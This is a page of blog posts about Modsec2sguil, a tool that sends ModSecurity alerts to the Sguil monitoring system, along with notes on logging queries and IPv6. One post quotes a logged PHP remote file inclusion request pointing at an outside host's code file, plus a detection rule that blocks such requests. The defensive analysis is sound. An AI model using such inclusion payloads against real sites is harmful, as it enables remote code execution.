Tag Archives: Modsec2sguil

Extracting bad url’s from ModSecurity events in Sguil

Posted on by

Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this:

GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1

Notice the trailing questionmarks? Turns out these are always present, so very easy to block on. I’m doing that for a long time now, never seen a single false positive. The rule looks like this:

SecRule ARGS:/.*/ “https?.*?$” “msg:’LOCAL PHP ? link code inclusion attempt’,severity:1,phase:1”

This rule looks at all request args, and checks if their value contains http or https and if it ends with a questionmark. If so, the request is blocked.

Today I was thinking that the URI’s that are included probably contain some badness, and it would be interesting to look what all the URI’s are. Using modsec2sguil I’m adding all ModSecurity events to Sguil, so this was going to be an interesting MySQL challenge!

The query I came up with is this:

SELECT COUNT(*) AS cnt, INET_NTOA(src_ip) AS “Source IP”, trim(LEADING “=” FROM substring_index(substr(unhex(data_payload),locate(‘=http’,unhex(data_payload))), ‘?’, 1)) AS url FROM event INNER JOIN data ON event.sid = data.sid and event.cid = data.cid WHERE (timestamp >= ‘2009-01-13’ AND signature LIKE “MSc 403 LOCAL PHP ?%”) GROUP BY src_ip,url ORDER BY cnt DESC LIMIT 10;

The result is here (click here for full picture):

Bad uri's from Sguil

I get about 10 url’s like this a day, usually they are tried more than once. So what is at these links? The first one gave a 404, so let’s look at the second one. It’s a jpg, thats a picture right? Wrong!

I downloaded the file and opened it in vim. As you can see in this fragment, this is php code…

Bad uri code

Anyone know if there is some place I can report these url’s to on a daily/weekly basis?

Update to Modsec2sguil

Posted on by

Yesterday the much anticipated Sguil 0.7.0 final was released, as was announced here. I’ve updated Modsec2sguil to support it. Next to this Ryan Cummings sent me a patch for supporting ModSecurity 2.5. So that is included as well. I haven’t given it much testing yet, but works on my boxes.

Get the new release here: http://www.inliniac.net/modsec2sguil/

Thank you Ryan for your contribution!

Using Modsec2sguil for HTTP transaction logging revisited

Posted on by

Recently I wrote about the idea to log all HTTP transactions into Sguil using my Modsec2sguil agent. I’ve implemented this in the current 0.8-dev5 release and it works very well. All events go into Sguil smoothly and I’ve not experienced slowdowns on the webserver. I’ve been running it for almost a week now, like to share the first experiences here.

I find it to be quite useful. When receiving an alert, it is perhaps more interesting to see what else was done from that ipaddress than to see what was blocked (unless you are suspecting a false positive of course). One area I find to be useful is when I’m creating rules against comment spam on this blog. By seeing all properties of a spam message I can create better rules. For example on broken user-agents or weird codes inserted into the comment field of WordPress.

It’s easy to search and filter on HTTP response codes because the code is a part of the RT message. For example, when searching for all HTTP 500 error codes, add the following ‘WHERE’ clause to a query:

WHERE event.signature like “%MSc 500%”

This works quite fast although you best limit the query on properties like date and port as well. To get all the HTTP code 500 alerts from the last days do something like:

WHERE event.timestamp > ‘2007-08-18’ AND (event.dst_port = 80 OR event.dst_port = 443) AND event.signature like “%MSc 500%”

One thing that is disappointing is the inabillity to search in the event payloads stored in the database. Technically it’s possible to create mysql queries that search for certain strings, but this process is so slow that it’s hardly usable in practice. The problem here is that the database field containing the payload is not indexed. I’ll show the query I used here (ripped from David Bianco’s blog)

WHERE event.timestamp >= ‘2007-08-18’ AND (event.dst_port = 80 OR event.dst_port = 443) AND data.data_payload like CONCAT(“%”, HEX(“Mozilla/5.0”), “%”)

If you know a more efficient query, please let me know!

Using Modsec2sguil for HTTP transaction logging

Posted on by

Modsec2sguil is currently configured to send alerts to Sguil. ModSecurity can be configured to log any event or transaction, including 200 OK, 302 Redirect, etc. Modsec2sguil distinguishes between alerts and other events by only processing HTTP codes of 400 and higher. Since 0.8-dev2 there is a configuration directive to prevent certain codes, such as 404, from being treated as an alert.

Now I have the following idea. Since ModSecurity can log all events with details of request headers, response headers and POST message body, it may be interesting to just send all these events to Sguil. They should not be appearing as alerts, but having them in the database can perhaps be interesting. I know using flow data and full packet captures the same data can be accessed, but having it in the database makes querying it a lot easier and longer available.

Possible problems are mostly the performance hit the webserver may take for sending all these events to Sguil and the storage requirements in Sguil’s database. I estimate the events are about 1kb in size on average, so on a busy site this may cause the database to grow very rapidly. Of course this behavior would be optional so it can be disabled.

Any thoughts on this idea?

First Modsec2sguil release for Sguil 0.7-CVS

Posted on by

I just uploaded a new version of Modsec2sguil. I’ve been working on it the last weeks to get it updated to Sguil 0.7. The scripts are changed all over the place. This is because in the 0.7 framework, my scripts would no longer be a replacement for Barnyard only talking to the sensor_agent on the localhost, instead now it would become a full agent talking to the Sguil server directly.

This brings some challenges. First the connection can be going over the internet, or another untrusted network, so the agent needs ssl support. Second, since the connection may be unreliable we need to be able to detect and deal with lost connections. Next to this I wanted to be able to run without superuser privileges.

The new version of modsec2sguil supports it all, and more:

  • Converted into a real agent for Sguil 0.7 (no more barnyard replacement)
  • Agent can drop privileges
  • Agent can daemonize
  • Pinging the server is supported
  • The agent reconnects to the server if the connection is lost
  • Agent supports SSL for the connection to the server
  • A sguil-compatible configuration file is now used
  • A debug mode was added

So if you run Sguil 0.7-CVS and ModSecurity, go check it out at http://www.inliniac.net/modsec2sguil/

Last but not least, the agent contains a SguilAgent.pm Perl library. I hope it enables developers to easily create Perl agents for Sguil. If you need help with that, please let me know!

Modsec2sguil 0.7 released

Posted on by

I’ve just released version 0.7 of Modsec2sguil, the set of perl scripts to feed ModSecurity alerts to the Sguil NSM system. The main change of this release is that it adds support for alerts produced by ModSecurity 2.x, while 1.9.x remains to be supported. Next to this the conversion between ModSecurity’s severity and Snort’s priority was fixed, so alerts should show up in the right pane in Sguil again.

Please give this release a try and let me know how it works for you!

Download it here: http://www.inliniac.net/files/modsec2sguil-0.7.tar.gz

Experimenting with IPv6

Posted on by

My ISP is one of the few here in the Netherlands that provides a IPv6 tunnel broker. I have played with it some during the last year or so, but now decided to get a little more serious with it. So I’ve decided to enable it for my blog. When opening up my site to IPv6 one thing that is important is security. I will describe the status of IPv6 support of my current setup:

Linux firewalling: IPtables supports IPv6 for quite some time, however it only very recently gained stateful packet filtering support. This hasn’t made it into Debian Sarge or even backports yet, so I’m just using stateless filtering now.

Vuurmuur: my own IPtables frontend has no support for IPv6 at all. I’ve been thinking about adding it for years, but decided to wait at least until stateful support would be available. Next to this my coding time is limited, and many other features are probably more interesting to Vuurmuur users.

Snort/Snort_inline: both Snort and Snort_inline lack support for IPv6. Sourcefire is working on it as far as I know, but no code is available from them. I did find a IPv6 patch for Snort 2.3.3, which can be found here. I ran it in sniffer mode and that works. I haven’t played with it much other than that, but I certainly will in the future.

ModSecurity: my Apache 2 installation has IPv6 enabled by default and ModSecurity 2.x just worked with it without any configuration change! I haven’t looked into how to create rules specific for IPv6 addresses however, so maybe surprises will come up here. I do know from looking at the source that the rbl functionality doesn’t support IPv6 addresses yet, but I haven’t even checked if realtime blacklists exist for IPv6.

Sguil/Modsec2sguil: my modsec2sguil script, that takes ModSecurity alerts and feeds them to Sguil, doesn’t act on the IPv6 alerts because it expects IPv4 addresses. This is not a problem however, since Sguil doesn’t support IPv6 addresses. This makes sense since Snort doesn’t support it either.

So compared to my IPv4 access, protection is somewhat limited. I’m only enabling HTTP for now, so ModSecurity should be able to handle that just fine.

Anyway, it seems to be working fine now, but consider the IPv6 support experimental, as I’m playing with how it all works. So don’t be surpised if it’s broken all of a sudden 😉